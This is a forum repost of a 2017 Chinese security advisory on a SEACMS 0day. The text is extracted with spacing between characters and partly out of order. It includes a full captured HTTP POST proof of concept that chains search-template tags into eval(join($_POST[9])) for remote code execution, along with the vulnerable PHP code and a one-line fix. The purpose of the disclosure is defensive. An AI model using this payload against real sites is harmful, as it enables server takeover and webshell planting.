搜索

[11873] 2017-10-09_漏洞预警海洋CMS（SEACMS）0day漏洞预警

文档创建者：s7ckTeam
浏览次数：38
最后更新：2025-01-18
2017-10-09_漏洞预警海洋CMS（SEACMS）0day漏洞预警 漏 洞 预 警   |   海 洋 C M S （ S E A C M S ） 0 d a y 漏 洞 预 警 天 择 实 习 生   F r e e B u f   2 0 1 7 - 1 0 - 0 9 概 述 概 述 最 近 我 们 的 一 名 安 全 托 管 客 户 反 应 ， 其 服 务 器 遭 受 到 攻 击 ， 被 黑 客 上 传 了 w e b s h e l l 并 篡 改 网 页 内 容 。 经 过 我 们 为 客 户 安 装 云 锁 防 护 软 件 后 ， 拦 截 到 一 个 针 对 海 洋 C M S （ S E A C M S ） 的 0 d a y 漏 洞 。 海 洋 C M S 是 一 套 专 为 不 同 需 求 的 站 长 而 设 计 的 视 频 点 播 系 统 ， 在 影 视 类 C M S 中 具 有 很 高 的 市 场 占 有 率 ， 其 官 方 地 址 是 ： h t t p : / / w w w . s e a c m s . n e t / 海 洋 海 洋 C M S （ （ S E A C M S ） 几 个 老 漏 洞 及 其 修 补 方 法 ） 几 个 老 漏 洞 及 其 修 补 方 法 在 2 0 1 7 年 2 月 ， 海 洋 C M S   6 . 4 5 版 本 曾 爆 出 一 个 前 台 g e t s h e l l 漏 洞 ， 漏 洞 具 体 内 容 参 见 ： h t t p : / / b l o g . c s d n . n e t / q q _ 3 5 0 7 8 6 3 1 / a r t i c l e / d e t a i l s / 7 6 5 9 5 8 1 7 。 该 漏 洞 成 因 在 于 s e a r c h . p h p 没 有 对 用 户 输 入 内 容 进 行 过 滤 ， 导 致 攻 击 者 提 交 的 o r d e r 参 数 可 进 入 p a r s e I f 函 数 中 执 行 e v a l 。 官 方 在 6 . 4 6 版 中 修 复 了 该 漏 洞 ， 修 复 方 法 是 对 用 户 输 入 的 参 数 进 行 过 滤 并 限 制 长 度 为 2 0 个 字 符 。 但 这 种 修 复 方 法 并 没 有 完 全 修 复 漏 洞 ， 因 为 在 替 换 操 作 过 程 中 用 户 输 入 的 几 个 参 数 可 以 进 行 组 合 ， 因 此 补 丁 被 绕 过 。 随 后 官 方 又 在 8 月 7 日 发 布 了 6 . 5 4 版 本 再 次 修 复 漏 洞 ， 这 次 修 复 增 加 了 一 句 ： 即 限 制 了 o r d e r 参 数 只 能 是 固 定 内 容 ， 这 样 虽 然 避 免 了 通 过 o r d e r 参 数 进 行 的 攻 击 ， 但 是 却 没 有 解 决 其 他 参 数 进 入 p a r s e I f 函 数 的 问 题 。 海 洋 海 洋 C M S （ （ S E A C M S ） ） 0 d a y 漏 洞 分 析 漏 洞 分 析 我 们 抓 取 到 的 攻 击 p a y l o a d （ P O C ） 如 下 ： 可 以 看 到 ， 攻 击 入 口 已 经 不 在 是 o r d e r 参 数 ， 我 们 来 看 一 下 s e a r c h . p h p 中 的 搜 索 实 现 过 程 ： $ o r d e r   =   ( $ o r d e r   = =   " c o m m e n d "   | |   $ o r d e r   = =   " t i m e "   | |   $ o r d e r   = =   " h i t " )   ?   $ o r d e r   :   " " ; P O S T   / s e a r c h . p h p   H T T P / 1 . 1 H o s t :   w w w . x x x . c o m U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W O W 6 4 ;   r v : 5 5 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 5 5 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , e n - U S ; q = 0 . 5 , e n ; q = 0 . 3 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   2 0 8 C o n n e c t i o n :   k e e p - a l i v e U p g r a d e - I n s e c u r e - R e q u e s t s :   1 s e a r c h t y p e = 5 & s e a r c h w o r d = { i f { s e a r c h p a g e : y e a r } & y e a r = : e { s e a r c h p a g e : a r e a } } & a r e a = v { s e a r c h p a g e : l e t t e r } & l e t t e r = a l { s e a r c h p a g e : l a n g } & y u y a n = ( j o i n { s e a r c h p a g e : j q } & j q = ( $ _ P { s e a r c h p a g e : v e r } & & v e r = O S T [ 9 ] ) ) & 9 [ ] = p h & 9 [ ] = p i n f o ( ) ;
可 以 看 到 ， 代 码 中 对 h t m l 中 的 s e a r c h p a g e 标 签 进 行 了 多 次 替 换 ， 而 攻 击 者 也 正 是 利 用 了 这 一 点 ， 在 多 次 替 换 过 程 中 使 多 个 参 数 共 同 组 合 成 最 终 的 p a y l o a d ， 这 样 既 绕 开 了 R e m o v e X S S 的 过 滤 又 绕 过 了 2 0 字 节 的 长 度 限 制 。 在 对 参 数 进 行 了 替 换 之 后 ， c o n t e n t 中 已 经 包 含 了 如 下 攻 击 p a y l o a d ： 在 随 后 的 P O S T 数 据 中 攻 击 者 又 利 用 9 [ ] 把 真 正 的 p a y l o a d 利 用 b a s e 6 4 _ d e c o d e 传 入 。 最 终 $ c o n t e n t 内 容 被 传 入 p a r s e I f 函 数 。 在 p a r s e I f 函 数 中 判 断 含 有 i f : 标 签 ， 就 会 调 用 e v a l 来 执 行 该 内 容 ， 从 而 导 致 了 攻 击 者 的 p a y l o a d 被 执 行 。 漏 洞 修 复 漏 洞 修 复 根 据 云 锁 监 测 ， 目 前 该 0 d a y 已 经 被 大 规 模 运 用 ， 而 且 攻 击 者 使 用 自 动 化 攻 击 脚 本 对 全 网 S E A C M S 进 行 搜 索 并 实 施 自 动 攻 击 。 我 们 已 在 9 月 份 向 C N V D 和 厂 商 报 告 了 漏 洞 详 情 ， 但 截 至 2 0 1 7 . 1 0 . 9 ， S E A C M S 仍 然 未 发 布 该 漏 洞 的 补 丁 。 建 议 S E A C M S 用 户 立 即 安 装 云 锁 并 开 启 文 件 防 上 传 功 能 ， 可 暂 时 避 免 被 自 动 化 程 序 攻 击 。 或 在 e c h o S e a r c h P a g e ( ) 函 数 中 增 f u n c t i o n   e c h o S e a r c h P a g e ( ) { . . . . . .         $ c o n t e n t   =   s t r _ r e p l a c e ( " { s e a r c h p a g e : p a g e } " , $ p a g e , $ c o n t e n t ) ;                 $ c o n t e n t   =   s t r _ r e p l a c e ( " { s e a c m s : s e a r c h w o r d } " , $ s e a r c h w o r d , $ c o n t e n t ) ;         $ c o n t e n t   =   s t r _ r e p l a c e ( " { s e a c m s : s e a r c h n u m } " , $ T o t a l R e s u l t , $ c o n t e n t ) ;                 $ c o n t e n t   =   s t r _ r e p l a c e ( " { s e a r c h p a g e : o r d e r n a m e } " , $ o r d e r , $ c o n t e n t ) ; . . . . . .         $ c o n t e n t   =   s t r _ r e p l a c e ( " { s e a r c h p a g e : y e a r } " , $ y e a r , $ c o n t e n t ) ;                 $ c o n t e n t   =   s t r _ r e p l a c e ( " { s e a r c h p a g e : a r e a } " , $ a r e a , $ c o n t e n t ) ;         $ c o n t e n t   =   s t r _ r e p l a c e ( " { s e a r c h p a g e : l e t t e r } " , $ l e t t e r , $ c o n t e n t ) ;                 $ c o n t e n t   =   s t r _ r e p l a c e ( " { s e a r c h p a g e : l a n g } " , $ y u y a n , $ c o n t e n t ) ;         $ c o n t e n t   =   s t r _ r e p l a c e ( " { s e a r c h p a g e : j q } " , $ j q , $ c o n t e n t ) ;         . . . . . .                 $ c o n t e n t   =   s t r _ r e p l a c e ( " { s e a r c h p a g e : s t a t e } " , $ s t a t e 2 , $ c o n t e n t ) ;         $ c o n t e n t   =   s t r _ r e p l a c e ( " { s e a r c h p a g e : m o n e y } " , $ m o n e y 2 , $ c o n t e n t ) ;                 $ c o n t e n t   =   s t r _ r e p l a c e ( " { s e a r c h p a g e : v e r } " , $ v e r , $ c o n t e n t ) ; . . . . . .         $ c o n t e n t = $ m a i n C l a s s O b j - > p a r s e I f ( $ c o n t e n t ) ; i f : e v a l ( j o i n ( $ _ P O S T [ 9 ] ) ) f u n c t i o n   p a r s e I f ( $ c o n t e n t ) {                         i f   ( s t r p o s ( $ c o n t e n t , ' { i f : ' ) = = =   f a l s e ) {                         r e t u r n   $ c o n t e n t ;                         } e l s e { . . . . . .                         @ e v a l ( " i f ( " . $ s t r I f . " ) { $ i f F l a g = t r u e ; } e l s e { $ i f F l a g = f a l s e ; } " ) ;
加 一 条 过 滤 语 句 ： * 本 文 作 者 ： 天 择 实 习 生 ， 转 载 请 注 明 来 自 本 文 作 者 ： 天 择 实 习 生 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文 i f ( s t r p o s ( $ s e a r c h w o r d , ' { s e a r c h p a g e : ' ) )   e x i t ;
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理